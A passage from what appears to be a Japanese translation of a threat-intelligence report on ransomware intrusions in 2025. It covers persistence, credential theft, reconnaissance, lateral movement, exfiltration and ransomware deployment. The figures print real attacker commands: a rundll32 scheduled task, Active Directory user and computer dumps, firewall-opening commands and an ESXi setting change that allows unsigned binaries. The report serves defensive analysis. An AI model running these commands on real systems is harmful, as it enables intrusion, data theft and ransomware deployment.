• FIN6 脅威クラスタと疑われる UNC6021 は、SQUIDGATE の組み込み機能を使用して、足場を確立するためのバックドアで C 言語で記述された FIREHAWK をデプロイしました。FIN6 による感染と同様に、LinkedIn でのソーシャル エンジニアリングのやり取りを通じて、BULLZLINK ダウンローダが入っている ZIP アーカイブをホストしている不正なウェブサイトにアクセスするようユーザーを促しました。これが実行されると、SQUIDGATE ペイロードが埋め込まれた SQUIDSLEEP のドロッパー バリアントが起動します。

• 2025 年は、複数のランサムウェア アクターが攻撃ライフサイクルの複数のフェーズで、リモート モニタリングおよび管理ツール（RMM）を利用していました。インシデントで悪用された正規ツールには、ANYDESK、SCREENCONNECT、SPLASHTOP などがあります（表 2）。

• UNC2465 インシデントでは、最初の侵入から数週間後に脅威アクターが Time Doctor とともに TERAMIND RMM をインストールしました。Time Doctor は従業員モニタリング ツールで、システムのスクリーンショット撮影と画面録画ができるほか、ウェブサイトとアプリケーションの使用状況もトラッキングできます。

• 脅威アクターのランサムウェア活動における BEACON の利用は引き続き低下傾向にあります。BEACON が確認された侵入は全体の約 2% で、すでに減少傾向にあった 2024 年の 11% からさらに減少しています。しかし、複数の脅威クラスタが AdaptixC2（ADAPTAGENT）、Exploration C2（EXPLORATIONC2）、MYTHIC などの別の侵入後活動フレームワークを使用しています。

• UNC2165 の RANSOMHUB インシデントでは、脅威アクターは MYTHIC の永続性メカニズムとして COM のハイジャックを使用しました。UNC2165 は「temp」フォルダに MYTHIC を作成し、その名前を「msedge.dll」に変更したうえで、MYTHIC ペイロードを指すように InprocServer32 のレジストリキーを修正しました。

• 脅威アクターは頻繁にネイティブの Windows 機能を使用してサービスを作成し、スケジュールされたタスクを登録して、バックドアやトンネラーなどのマルウェアをプログラマティックに繰り返し実行していました。たとえば、RHYSIDA インシデントでは、脅威アクターは LIONSHARE トンネラーを 12 時間ごとに実行するようスケジュールされたタスクを登録しています（図 7）。

• TridentLocker ブランドのインシデントでは、脅威アクターは .NET アセンブリとして実装されたダウンローダである WAVECALL を、CrushFTP を実行している被害組織のサーバーにアップロードしました。ファイル プレビューの処理に使用されるコマンドライン命令を変更し、ImageMagick ユーティリティと ExifTool ユーティリティ用に構成された実行可能パスを WAVECALL アセンブリに置き換えることで、ファイル プレビュー操作が開始されるたびに WAVECALL アセンブリが実行されるようにしました。その後、アクターは構成を元に戻し、コマンドライン命令の更新と Base64 でエンコードされた PowerShell スクリプトの実行を行い、後続のペイロードをデプロイしました。

/Create /SC MINUTE /MO 720 /TN Reg /TR "C:\Windows\System32\rundll32.exe C:\windows\system32\config\red.dll Test" /ru system

図 7: LIONSHARE のスケジュールされたタスク

表 2: 足場の確立とプレゼンスの維持に使用された正規のリモート アクセス ツール

権限の昇格

ランサムウェア アクターにとって、高度な権限を持つアカウントのアクセス確保は重要なステップです。これにより、AV ソフトウェアの無効化、バックアップの削除、ネットワーク全体へのランサムウェアのデプロイなど、攻撃の次の段階に進めるようになります。脅威アクターは引き続き、さまざまな権限昇格ツールと手法を利用しています。MIMIKATZ の利用、Windows オペレーティング システムに保存された認証情報のダンプ、Active Directory（AD）の悪用などがあります。

• 2025 年のランサムウェア侵入のうち、脅威アクターが MIMIKATZ を利用したケースは約 18% に上ります。最近の利用はわずかながらも減少傾向にあり、2024 年にはランサムウェア侵入全体の 20% で利用されていました。注目すべき点は公開されている他の権限昇格ツールと認証情報窃取ツールも減少していることです。たとえば、2025 年のランサムウェア侵入では LAZAGNE は確認されませんでしたが、2024 年は 2%、2023 年は 4%、2022 年は 6% を占めていました。

• 過去の数年と同様に、2025 年も脅威アクターはさまざまな手法を使用して Windows 認証システムを標的とし、特権アカウントへのアクセスを試みています。

• 脅威アクターは Windows システムに保存されている認証情報を取得するため、Local Security Authority Subsystem Service（LSASS）のプロセスメモリのダンプ、Active Directory ドメイン データベース（NTDS.dit）ファイルのコピー、Security Account Manager（SAM）、SYSTEM、SECURITY のレジストリ ハイブのエクスポートを頻繁に試みていることが確認されています。

• 確認されたその他の手法としては、Kerberoasting 攻撃、WDigest 認証情報のキャッシュを有効にするレジストリの変更、Windows Data Protection API（DPAPI）経由での認証情報の復元などがあります。

• 脅威アクターは不正使用のアカウントとアクターがプロビジョニングしたアカウントを、ローカル管理者グループとドメイン管理者グループに追加するか、SeRemoteInteractiveLogonRight、SeDebugPrivilege、SeLoadDriverPrivilege、SeBackupPrivilege などの追加の権限をアカウントに付与することで、日常的に権限を昇格させていました。

• 一部の侵入では、脅威アクターは AD ロールを悪用して、DCSync レプリケーションや AD 証明書サービス（AD CS）の不正使用など、さまざまな手段で権限を昇格させていました。MEDUSALOCKER.V2 インシデントでは、脅威アクターは「Move-ADDirectoryServerOperationMasterRole」コマンドレットを実行して、Flexible Single Master Operation（FSMO）のロールを被害組織の AD ドメイン コントローラから不正なものと疑われるドメイン コントローラに転送しています。

• 複数の脅威アクターがバックアップ ツール、ブラウザ、パスワード マネージャー、平文で保存されている認証情報など、さまざまな内部ソースから認証情報を収集しようとしていることが確認されました。

• 確認された侵入の約 10% で、脅威アクターは認証情報の収集のために Veeam Backup & Replication を標的としています。これは 2024 年にも確認されています。複数の脅威アクターが公開されている Veeam-Get-Creds.ps1 スクリプトまたはカスタムの PowerShell スクリプトを使用して、Veeam の構成データベースに保存されている認証情報を取得しました。

• いくつかのインシデントでは、脅威アクターは保存された認証情報の取得のため、Chromium ベースのブラウザを標的としています。たとえば、UNC2165 RANSOMHUB インシデントでは、脅威アクターはインライン PowerShell を実行して、Google Chrome と Microsoft Edge のローカルの状態ファイルから DPAPI で保護されたマスター暗号鍵を取得して復号し、ブラウザ内に保存された認証情報にアクセスできるようにしました。

• 脅威アクターは KeePass、Bitwarden、Windows 資格情報マネージャーなどの一般的なパスワード管理ツールにアクセスするか、アクセスを試みていました。AGENDA ランサムウェアが関与した UNC2465 による侵入では、脅威アクターは自己ホスト型の Bitwarden サーバーにアクセスし、Vault データベースの中身をエクスポートして密かに引き出していました。

• REDBIKE ランサムウェア インシデントでは、脅威アクターは SonicWall アプライアンスから平文のパスワードを収集した可能性が高く、そのパスワードは管理者アカウントとも共有されていたため、アクターはドメイン管理者権限を獲得できました。

• 被害組織の仮想化された環境を標的としたあるランサムウェア インシデントでは、脅威アクターは CVE-2024-37085 を悪用して ESXi ハイパーバイザへの管理者アクセス権を取得しました。

内部偵察

2025 年に内部偵察に利用された戦術は、ここ数年の戦術とほぼ同じです。脅威アクターは引き続き、ネイティブ システム ユーティリティ、PowerShell コマンド、一般公開されているソフトウェアを利用しています。

• 脅威アクターは引き続き PowerShell を使用して、実行中のプロセス、ネットワーク共有、ユーザー グループのメンバーに関する情報を入手するために Active Directory（AD）オブジェクトをクエリしています。この活動は Get-ADComputer や Get-ADUser などのネイティブのコマンドレットの使用から、スクリプト ブロックを使用した他のシステムデータのクエリまで多岐にわたります。

• 複数のケースで、脅威アクターは Get-ADComputer と Get-ADUser を使用して、AD オブジェクトのリストを別のファイルにエクスポートしています。たとえば、MEDUSALOCKER.V2 が関与しているインシデントでは、脅威アクターは特定のユーザー オブジェクト プロパティをクエリして、アカウント ID、連絡先情報、組織のメタデータをエクスポートしました（図 8）。同じインシデントで、脅威アクターは別のコマンドを実行してドメインに参加しているパソコンをクエリし、オペレーティング システム（OS）、IPv4 アドレス、最終ログイン日などのプロパティを入手しました（図 9）。

• 一部のケースでは、脅威アクターは一度に多数のコマンドを実行する PowerShell スクリプト ブロックを実行していました。たとえば、INTERLOCK インシデントでは、脅威アクターは現在のユーザーのユーザー名、セキュリティ識別子（SID）、グループ メンバーの特定などのユーザー プロファイリングの実行、ドメイン接続の確認、ドメイン管理者グループの列挙という処理を 1 行にまとめたスクリプトを実行しています。注目すべき点として、このスクリプトにはジッターまたは処理遅延が含まれており、コマンド実行中にランダムな一時停止が作成されていました。これはコマンドの短時間での実行に対する検知を回避する試みと考えられます。

• 脅威アクターは攻撃ライフサイクルのこのフェーズでも引き続き、ipconfig、netstat、ping、nltest などの Windows の内部ユーティリティに大きく依存していました。

• 多くの侵入で一般公開されている偵察ユーティリティが使用されています。このような公開ツールは、Advanced IP Scanner、Softperfect Network Scanner（NETSCAN）、Angry IP Scanner などのネットワークのプロービングに特化したものから、PowerSploit や IMPACKET などのレッドチーム ツールまで多岐にわたります。特に、Advanced IP Scanner、NETSCAN、Angry IP Scanner などのネットワーク偵察ユーティリティは、侵入の約 50% で使用されており、2023 年と 2024 年に確認された使用状況と類似しています。

• 脅威アクターが機密情報に関連する可能性のあるファイルとフォルダにアクセスしているケースが多々確認されています。バックアップ スクリプトとパスワード マネージャーを検索していると思われるケースもあれば、データ窃取による恐喝を有利に進めるために、引き出す機密ファイルを探していると思われるケースもあります。

• REDBIKE の侵入では脅威アクターは「パスポート」、「i9」、「サイバー保険」などのキーワードを検索していました。パスポートや就労資格証明書などの個人を特定できる情報（PII）を検索するだけでなく、脅威アクターは被害組織のサイバー保険ポリシーも入手することで、交渉戦略や要求する身代金額の上限の決定に役立てようとしていた可能性があります。

• 複数の脅威アクターが被害組織の環境内の仮想化インフラストラクチャに関する情報を得るために、標的を絞った内部偵察を実施しています。このようなシステムへのランサムウェアのデプロイをスムーズに進めるための情報収集と考えられます。REDBIKE インシデントでは、脅威アクターは Get-VM コマンドレットを実行してハイパーバイザを列挙し、VMware vSphere の内部ウェブポータルにアクセスしました。

powershell Import-Module ActiveDirectory; Get-ADUser -filter * -properties Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | select Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | export-csv C:\Users\Public\Music\users.csv 

図 8: Get-ADUser HostCmd

powershell Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select comment, description, Name, DNSHostName, OperatingSystem, LastLogonDate, ipv4address | Export-CSV C:\users\public\music\AllWindows.csv -NoTypeInformation -Encoding UTF8

図 9: Get-ADComputer HostCmd

ラテラル ムーブメント

2025 年全体を通して、アクターは RDP、サーバー メッセージ ブロック（SMB）、Secure Shell（SSH）などの一般的な組み込みプロトコルを、不正取得した認証情報または攻撃者が作成したアカウントとともに広範囲に使用して、ラテラル ムーブメントを実行しました。また、さまざまなツールやユーティリティを利用して、被害組織の環境内でトラフィックをトンネリングしてプロキシしているアクターも確認されています。

• 侵入の約 85% で、脅威アクターは不正利用のアカウントまたは攻撃者が作成したアカウントで RDP を利用して、ラテラル ムーブメントを行いました。

• さまざまなインシデントで、脅威アクターは SMB を利用してラテラル ムーブメントを実行し、ネットワーク共有へのアクセス、ペイロードのステージング、リモート コマンドの実行を行っていることが確認されています。

• SAFEPAY ランサムウェアのインシデントでは、脅威アクターは SMB を利用してさまざまなネットワーク共有にアクセスし、そのアクセスを利用して複数のホストに NETSCAN のコピーをステージングしました。

• また、複数のアクターが IMPACKET.SMBEXEC を利用してリモート コマンドを実行していることも確認されています。たとえば、MEDUSALOCKER.V2 ランサムウェアのデプロイにつながったある侵入では、脅威アクターは IMPACKET.SMBEXEC を利用して、リモートホスト上に新しいローカル管理者アカウントを作成するコマンドを実行しました。

• 数多くのインシデントで、さまざまな脅威アクターが特に ESXi システムに横移動するときに、PuTTY や KiTTY などの一般的な公開ユーティリティを利用してホストへの SSH 接続を確立していることが確認されました。

• リモート実行とラテラル ムーブメントには一般的な Windows ユーティリティが引き続き頻繁に使用されており、PsExec、Windows リモート管理（WinRM）に加え、頻度は低いものの Windows Management Instrumentation コマンドライン（WMIC）も使用されています。

• いくつかの侵入では、脅威アクターは PowerShell を使用して、「Enter-PSSession」コマンドレットで WinRM 経由でのインタラクティブなリモート セッションを確立しています。

• UNC5774 の INTERLOCK ランサムウェア インシデントでは、脅威アクターは WinRM を使用してドメイン コントローラへの接続を確立し、net.exe を使用したユーザー アカウントのパスワードのリセットなどのリモート コマンドを実行しました。

• UNC2465 のインシデントでは、脅威アクターは WMIC を使用してリモートホスト上で SMOKEDHAM ペイロードを実行し、ラテラル ムーブメントを展開しています。

• 多数のインシデントで、脅威アクターはファイアウォール ルールを操作して、RDP や SMB などのさまざまな種類のトラフィックが被害組織の環境内で許可されるようにしていました。

• あるインシデントでは、FIN6 脅威クラスタと疑われる UNC6021 がファイアウォール ルールを変更してリモート デスクトップ アクセスを有効にする netsh コマンドを実行するタスクを作成し、スケジュール設定しています（図 10）。

• UNC6276 の侵入では、脅威アクターはホストに SYSTEMBC.LINUX をデプロイする前に、ESXi ホストのファイアウォールを無効にしています。

• あるインシデントでは、脅威アクターはホストに OpenSSH をインストールし、PowerShell コマンドを実行して、ポート 22 でのインバウンド トラフィックを許可する新たなファイアウォール ルールを構成しました（図 11）。

• INC ランサムウェアのデプロイにつながった侵入では、脅威アクターは攻撃者が作成したアカウントを利用して、ネットワーク内の複数の追加のサブネットへのアクセスを許可する新しいファイアウォール ポリシーを作成しました。

• 脅威アクターは SYSTEMBC、VIPERTUNEL、PYSOXY、CLOUDFLARED、OpenSSH など、さまざまな悪意のあるユーティリティと正規のユーティリティを利用して、被害組織のネットワーク内でトラフィックをトンネリングしてプロキシしています。ある LOCKBIT.WARLOCK の侵入では、脅威アクターは CLOUDFLARED を利用して 2 台のホスト間の RDP 接続をトンネリングしました。

• 件数は多くありませんが、脅威アクターが METASPLOIT や AMNESIAC などの一般公開されている侵入後活動ツールを利用しているインシデントも確認されています。

• 脅威アクターは頻繁に仮想システムのさまざまな管理コンソールへのアクセスを悪用して、仮想ホストにラテラル ムーブメントを展開しています。

• 複数の事例で、脅威アクターはこのアクセスを利用して、SSH 接続を確立してラテラル ムーブメントを行う前に ESXi ホストで SSH を有効にしていると思われます。たとえば、FOULFOG.LINUX インシデントでは、脅威アクターは被害組織の VMware vSphere の一元管理ポータルからのアクセスを利用して、vm-host で SSH を有効にしました。そのうえで、user root1 を作成し、新しく作成したユーザーを使用して SSH 接続し、ファイアウォールを無効にしました。

• あるインシデントでは、脅威アクターは被害組織の Nutanix Prism Central 管理ツールへのアクセスと不正使用のアカウントを利用して、複数の追加システムにラテラル ムーブメントを行いました。同じインシデントで、脅威アクターは VMware ウェブユーザー インターフェースも使用して多数の ESXi ホストにアクセスしました。

• 一部の侵入で、脅威アクターがブルート フォース攻撃を実施して、追加のシステムのアカウントにアクセスしようとした証拠が確認されています。

cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=No

図 10: ファイアウォール ルールを変更してリモート アクセスを有効にする netsh コマンド

powershell.exe -Command New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

図 11: 受信 SSH トラフィックを許可する PowerShell コマンド

目的達成

以下のセクションでは、攻撃ライフサイクルの目的達成フェーズで確認されたことについて説明します。具体的にはランサムウェアのデプロイ、データ引き出し、分析回避と復旧回避の手法について取り上げます。ランサムウェア攻撃を行う脅威アクターは、交渉時に優位に立てるよう、データ窃取を伴う多面的な恐喝活動を日常的に行っています。また、脅威アクターはセキュリティ ソフトウェアの改ざん、バックアップの削除、ログの消去など、常にさまざまな戦術を使用して、オペレーションが成功し、被害組織の復旧能力が低下するようにしています。2025 年の注目すべき傾向としては、REDBIKE ランサムウェアのまん延、データ窃取による恐喝を伴うインシデントの割合の増加、仮想システムを標的とするために使用される手法の成熟化の兆候が挙げられます。

ランサムウェア ファミリー

REDBIKE は 2025 年の Mandiant のインシデント対応調査で最も確認されたランサムウェアであり、AGENDA、INC ランサムウェアがそれに続きます（図 12）。2024 年には、REDBIKE は LOCKBIT.BLACK および RANSOMHUB と並んで 1 位でしたが、LOCKBIT が 2024 年に法的措置による大きな混乱を経験し、2025 年には RansomHub が突然活動を停止しました。2025 年全体を通じて、NINTHBEE や SILVERPINE などの新たに特定されたランサムウェアが関与するインシデントも少数ながら確認されました。これは少なくとも一部の脅威アクターが新しいランサムウェア ファミリーを開発し、維持していることを示しています。

• REDBIKE は 2025 年のランサムウェア インシデントのほぼ 30% で確認され、2023 年に単一のランサムウェア ファミリーとして過去最高を記録した LOCKBIT や ALPHV の 17% を上回りました。

• 脅威アクターは異なる恐喝ブランドの下で実施される、一見無関係なオペレーションにおいて既存のランサムウェア ファミリーを再利用していることが引き続き確認されています。

• 2024 年に RaaS に対して法的措置が取られて以降、LOCKBIT ランサムウェア インシデントは大幅に減少しましたが、2025 年には少数の LOCKBIT.WARLOCK インシデントが確認されました。WarLock DLS は 2025 年 7 月に登場し、それ以降の被害件数は 75 件以上に上ります。LOCKBIT.WARLOCK は元の LOCKBIT コードベースを大幅に活用していますが、異なる暗号化アルゴリズムを使用して、以前はインライン化されていたオペレーションを専用の関数にリファクタリングしています。

• 2025 年には、CONTI ランサムウェアが関与する侵入がいくつか確認されました。CONTI RaaS は活動に関するチャットログと CONTI のソースコードが漏洩した後、2022 年 5 月にシャットダウンされていました。たとえば、Gunra ランサムウェア グループに関連した 2025 年のインシデントでは、CONTI がデプロイされていることが確認されました。ランサムウェア ペイロードの分析により、難読化にわずかな違いが見られるものの CONTI のソースコードを元にしていることが判明しました。

• INC ランサムウェアをオペレーションに利用している 3 つの異なる恐喝ブランドとして、INC Ransom、Sinobi、Lynx が確認されました。INC ランサムウェアのソースコードは 2024 年 5 月にアンダーグラウンド フォーラムで宣伝されていますが、Lynx と INC Ransom の DLS ドメインは同じ脅威アクターによって取得されています。

• 2025 年のインシデントで ODDSIDE ランサムウェアが確認されました。ODDSIDE は PowerShell ベースのランサムウェアで、DARKMATTER と名乗っています。PowerShell ベースのランサムウェアはまったく前例がないわけではありませんが、かなり珍しいものです。

• あるインシデントでは、脅威アクターが CLOP ランサムウェアをデプロイしていることが確認されました。マルウェア リポジトリにアップロードされた CLOP ランサムウェアのサンプルを特定したことは何度かあるものの、CLOP ランサムウェアのインシデントに対応するのは、このインシデントが 2020 年以降初となります。近年、CL0P データリークサイトとつながりを持つ脅威アクターは、暗号化の実行ではなく主にデータ窃取による恐喝のみのオペレーションを行っていました。

• 一部のインシデントでは、ランサムウェアのペイロードを入手できませんでした。たとえば、TridentLocker ブランドのランサムウェア インシデントが少数確認されていますが、これらのインシデントではランサムウェア ペイロードがメモリ内で実行されたことを示唆する証拠があります。脅威アクターはセキュリティ検知を回避し、簡単に解析と復旧ができないようにするため、インメモリ実行を使用してランサムウェアをデプロイした可能性があります。

• 脅威アクターは恐喝活動で正規の暗号化ツールを悪用することがあります。2025 年には、脅威アクターが BitLocker を使用して 200 台以上のリモートホストを暗号化するインシデントが確認されました。

表 3: Mandiant の 2025 年インシデント対応調査で確認されたランサムウェア ファミリー

データの引き出し

2025 年には、ランサムウェアの侵入の約 77% でデータ窃取が確認されたかその疑いがあり、2024 年の約 57% から大幅に増加しました。このようなインシデントで、データの特定、ステージング、引き出しの戦略として最も頻繁に確認されたのは、Rclone や MEGASync などの正規のデータ同期ツールの使用、組み込みツールやポータブル版の WinRar や 7Zip を使用したファイル圧縮、Filezilla や Winscp などの FTP クライアントの使用でした。

• データが盗まれた侵入では、脅威アクターが法務、人事、会計、事業開発データなど、さまざまな種類の機密データを標的にしていることが日常的に確認されています。

• 脅威アクターが機密データの引き出しと収集の標的としている可能性のあるシステムを手動で偵察している証拠が確認されました。たとえば、メールへのアクセス、ブラウザ経由での SharePoint やその他の Microsoft 365 環境へのアクセスが確認されています。

• 2025 年、脅威アクターはデータの引き出しに引き続き一般公開されているツールやユーティリティに利用しています。Rclone、MEGASync、Megatools、restic に加え、Cyberduck も使用している可能性があります。

• データ窃取が確認されたかその疑いがある侵入の約 28% で、Rclone を使用して、攻撃者が制御するインフラストラクチャにデータが引き出されています。

• INC ランサムウェアのインシデントでは、脅威アクターは wget コマンドと curl コマンドを使用して、Rclone と INC.LINUX ランサムウェア ペイロードをそれぞれネットワーク接続ストレージ（NAS）サーバーにダウンロードしました。その後、脅威アクターは Rclone を実行してサーバーからデータを引き出したうえで、INC.LINUX ペイロードを手動で実行しています。

• データ窃取が確認されたかその疑いがある侵入の 26% で、脅威アクターは正規の FTP / SFTP クライアントをインストールまたは利用しました。一般的に利用されているソフトウェアには、FileZilla、WinSCP、PuTTY セキュアコピーなどがあります。

• データ引き出しに使用されたことは確認されていませんが、脅威アクターが Total Commander、Xcopy、Gpg4win などのさまざまなユーティリティをインストールまたは実行していることが確認されました。これは偵察、ステージング、盗んだデータのエクスポートのために使用された可能性があります。

• 脅威アクターは Azure、AWS、Backblaze、Cloudzy、Filemail、Google ドライブ、MEGA、OneDrive などの数々の正規クラウド サービスとインフラストラクチャを利用して、盗んだデータを引き出しています。

• AGENDA ランサムウェアのデプロイにつながった UNC5471 の侵入では、脅威アクターはバッチ スクリプトと WinRAR を利用して、ディレクトリ内のファイルのアーカイブを自動化しました。そのうえで Megatools と SLEETSEND を使用して、MEGA と Cloudzy のクラウド ストレージ サービスにデータを引き出しました。

• 複数の脅威アクターが盗んだデータを攻撃者が制御する OneDrive アカウントに転送していることが確認されました。UNC5496 の侵入の一つでは、脅威アクターはコマンドを実行して、Rclone で一般的なファイル拡張子タイプのリストに一致するすべてのファイルを、脅威アクターが制御する OneDrive アカウントに転送しました。

• 複数のインシデントで、脅威アクターが AzCopy を利用して、盗んだファイルを攻撃者が制御する Azure ストレージに転送していることが確認されました。

• UNC6098 の侵入の一つでは、脅威アクターは SQL Server インポートおよびエクスポート ウィザードを利用して SQL データベースをエクスポートしました。

ランサムウェアのデプロイ

2025 年を通して、侵入で利用されたランサムウェアのデプロイ手法は多岐にわたっています。脅威アクターはバッチ スクリプト、スケジュール設定されたタスク、グループ ポリシー オブジェクト（GPO）、レジストリキー、PowerShell スクリプトの使用など、手動と自動の両方のデプロイ手法を採用していました。注目すべき点として、インシデントの約 20% で脅威アクターは仮想化インフラストラクチャを標的としており、オペレーターが ESXi ホストに対するランサムウェアのデプロイの一部を自動化していることが複数のインシデントで確認されています。これは仮想システムを標的とする手法が成熟しつつあることを示唆しています。

• 脅威アクターは通常自動化されたメカニズムを利用して、ランサムウェアをデプロイしていました。多くのケースで、ネイティブの Windows メカニズムを利用して、ランサムウェアの実行がスムーズに進むようにしています。

• 複数の脅威クラスタがバッチ スクリプトを利用して、被害組織の環境でランサムウェア ペイロードを容易に実行できるようにしています。LOCKBIT.WARLOCK の侵入では、脅威アクターはランサムウェア ペイロードを実行するファイルとともに、ドメイン コントローラに NetExec をステージングしました。そのうえで、NetExec を使用してバッチファイルを SMB 経由で多数のホストにコピーし、それを起動してランサムウェア ペイロードを実行しました。

• 別の LOCKBIT.WARLOCK の侵入では、脅威アクターは SMB 経由で複数のホストにランサムウェア ペイロードをステージングしたうえで、スケジュールされたタスクから実行しています。

• NINTHBEE ランサムウェアのインシデントでは、脅威アクターは GPO を変更して、Windows Defender を無効にする悪意のあるスケジュールされたタスクを加え、そのうえでランサムウェア ペイロードを実行しました。同じ侵入で、脅威アクターは PsExec から複数のリモートホストで NINTHBEE ペイロードを実行しようともしています。

• DOLLARLOCKER が関与していると思われるインシデントでは、脅威アクターは Windows サービスを作成して、ランサムウェア ペイロードを実行するコマンドを実行しました。

• 複数の脅威クラスタが Windows レジストリを利用して、ランサムウェアのデプロイを達成しています。UNC5471 の侵入時、脅威アクターは Run レジストリキーを作成し、複数のサーバーで AGENDA ランサムウェアを永続的に実行しました。INTERLOCK ランサムウェアの侵入では、脅威アクターは暗号化後に LegalNoticeCaption と LegalNoticeText のレジストリ値を変更し、起動時にシステムがランサム攻撃を受けていることを示すバナーを表示しました。

• 脅威アクターは SMB をランサムウェア ペイロードのステージングに使用するだけでなく、被害組織のネットワーク全体でより広範囲にランサムウェアをデプロイするためにも利用していることが確認されています。あるインシデントでは、アクターは「Invoke-ShareFinder」PowerShell コマンドレットを使用してネットワーク共有を特定し、このリストを標的のリストとして REDBIKE に提供したと考えられます。その結果、SMB 経由で 500 台以上のエンドポイントにおいて暗号化が試みられました。

• 確認された侵入のうち少数のケースでは、脅威アクターは PowerShell を利用して、被害組織の環境全体に BitLocker 暗号化を自動的にデプロイしています。ある侵入では、脅威アクターは PowerShell スクリプトを使用して、複数のホストで BitLocker のインストール、構成、パスワードの割り当てを行いました。そのうえで、これらのホスト上の複数のドライブで暗号化を有効にし、システムの再起動をスケジュールして、ホストを強制的にロック状態にしました。また、レジストリを変更して、BitLocker の起動前の復旧画面にランサムノートも表示しています。

• 2025 年に対応したランサムウェア侵入の約 43% で、脅威アクターが仮想化インフラストラクチャを標的としていることが確認されており、2024 年の 29% から増加しています。仮想システムへのランサムウェアのデプロイは通常手動で行われますが、2025 年には、脅威アクターがランサムウェアのデプロイ ステージの一部を自動化しようとしていたインシデントが少なくとも複数確認されています。

• UNC5495 の侵入時、脅威アクターは ESXi ホストの認証情報を受け入れるバッチ スクリプトを利用して、BABUK.MARIO のデプロイを自動化しました。バッチ スクリプトは KiTTY のステージング済みコピーを使用して、ランサムウェア ペイロードをホストにコピーしました。その後、SSH 経由で接続してコマンドを実行し、各ホストでペイロードを実行しました。別の侵入では、脅威アクターは PowerShell スクリプトを利用して被害組織の vCenter Server を認証し、新しい root パスワードを設定して、ESXi ホストで SSH を有効にしました。その後、同じスクリプトを使用して、RIFTEAR ランサムウェア ペイロードのホストへのコピー、バックアップの削除、仮想マシン（VM）のシャットダウン、ランサムウェア ペイロード実行前のセキュリティ ポリシーの無効化を行いました。

• ESXi ホストにランサムウェアをデプロイする前に、脅威アクターはホストの ExecInstalledOnly 設定を無効にして、カスタム バイナリの実行を許可していました（図 13）。ある侵入では、脅威アクターは vCenter Server にもアクセスし、ロックダウン モードの例外ユーザー設定を変更しました。この設定はホストがロックダウン モードのときに権限を維持できるユーザーを制御するものです。

• 複数の侵入事例で、脅威アクターは復号の前に仮想マシンを停止し、ファイルのロックを解除する手順を踏んでいました。これはほぼ確実にランサムウェア ペイロードの影響を最大化するためと思われます。

• 複数の事例で、脅威アクターはランサムウェア ペイロードを実行する前に他のプログラムで使用中のファイルのロックを解除するために、正規のアンインストーラ ユーティリティである IOBIT を使用するか、その使用を試みていました。

• 複数のアクターが暗号化の前に仮想マシンをシャットダウンし、バックアップとスナップショットを削除していることも確認されました。少なくとも 1 件の侵入では、アクターは PowerShell スクリプトを利用して、仮想マシンの電源をオフにするプロセスを自動化しています。

• ある侵入では、脅威アクターは被害組織の Commvault サーバーにアクセスし、暗号化前に vCenter バックアップ ボリュームを削除することにより、復旧を妨害していました。

• TridentLocker ブランドのランサムウェア インシデントでは、中程度の確度で、脅威アクターが WAVECALL の永続化に使用されたものと同じ CrushFTP のプレビュー ハイジャック手法を利用して、WAVECALL C2 サーバーからランサムウェア ペイロードをダウンロードして実行したものと思われます。

esxcli system settings advanced set -o /User/execInstalledOnly -i 0

図 13: ESXi ホストで ExecInstalledOnly 設定を無効にするコマンド

検知、解析、復旧妨害の戦術

ランサムウェア アクターは常に検知回避、解析妨害、復旧妨害の戦術をオペレーションに取り入れ、侵入時の検知を回避するだけでなく、暗号化後に被害組織が簡単に復旧できないようにしています。このような戦術は脅威アクターが手動で実行することが多いですが、多くのランサムウェア ファミリーには、分析を妨害し、暗号化前にバックアップを削除する機能が組み込まれています。

• 脅威アクターは常にランサムウェア侵入時にセキュリティ管理を無効化して改ざんし、検知または悪意のあるペイロードの実行のブロックがされないようにしていました。最も一般的な方法として、脅威アクターが Windows レジストリを変更するなどして Windows Defender を無効化するケースが確認されています。一部のケースでは、Set-MpPreference PowerShell コマンドレットを使用して Defender の構成を変更し、マルウェアとランサムウェアのペイロードを除外として追加していました。また、脅威アクターは GPO、スケジュール設定されたタスク、PowerShell スクリプトを利用して、さまざまなセキュリティ管理を改ざんしていることも確認されています。

• REDBIKE のインシデントでは、脅威アクターは PowerShell を使用して、Windows Defender のレジストリキーに関連付けられたさまざまな値（DisableRealtimeMonitoring、DisableScanOnRealtimeEnable、DisableOnAccessProtection など）を変更するコマンドを実行し、Windows Defender の多数の機能を無効にしました（図 14）。

• WHITERABBIT が関与した侵入では、脅威アクターは「Add-MpPreference」コマンドレットを使用した、Base64 でエンコードされた PowerShell コマンドを実行して、Defender の除外リストを変更し、ランサムウェア バイナリ、さまざまなファイル拡張子（「.cmd」、「.bat」、「.exe」など）、ユーザー データフォルダを追加しました。

• NINTHBEE が関与したインシデントでは、脅威アクターはスケジュール設定されたタスクを登録して、Microsoft Defender によるダウンロードされたファイルとメールの添付ファイルに対するリアルタイム スキャンを無効にするコマンドを毎日実行していました。

• ランサムウェア アクターは活動の痕跡を消すために、アーティファクトを削除し、イベントログを消去することがよくあります。このようなレコードには、コマンドの実行、ファイアウォールのトラフィック、盗まれた認証情報に関する情報が含まれています。wevtutil ユーティリティを使用して、複数のインスタンスでログを簡単に削除できるようにしています。

• FOULFOG.LINUX インシデントでは、脅威アクターはランサムウェア バイナリの名前を「filerw」という疑わしくない名前に変更し、システムのコマンド履歴を削除して、削除したファイルと置き換える空のファイルを作成しました。

• 一部のケースでは、脅威アクターはオペレーションで無害な名前を使用して、正規のソフトウェアやシステム リソースになりすまそうとしています。たとえば、RIFTTEAR インシデントでは、脅威アクターは「\Microsoft\Update」という名前のスケジュールされたタスクを登録し、エンドポイントの検知と対応（EDR）プロセスを強制終了させることを目的としていると思われる不正なコマンドを実行しました。CONTI が関与した別のケースでは、ランサムウェア バイナリのファイル名が「enc_lin」から「rsync」に変更されており、ネイティブの同期コマンドライン ユーティリティのように見せかけようとしていました。

• ランサムウェア アクターはたびたびバックアップを無効化または削除して、復元オプションを阻止または制限していました。一部のケースでは、脅威アクターは PowerShell スクリプトを使用してバックアップ サーバーの停止、またはボリューム シャドーコピー（VSS）の削除を行っています。

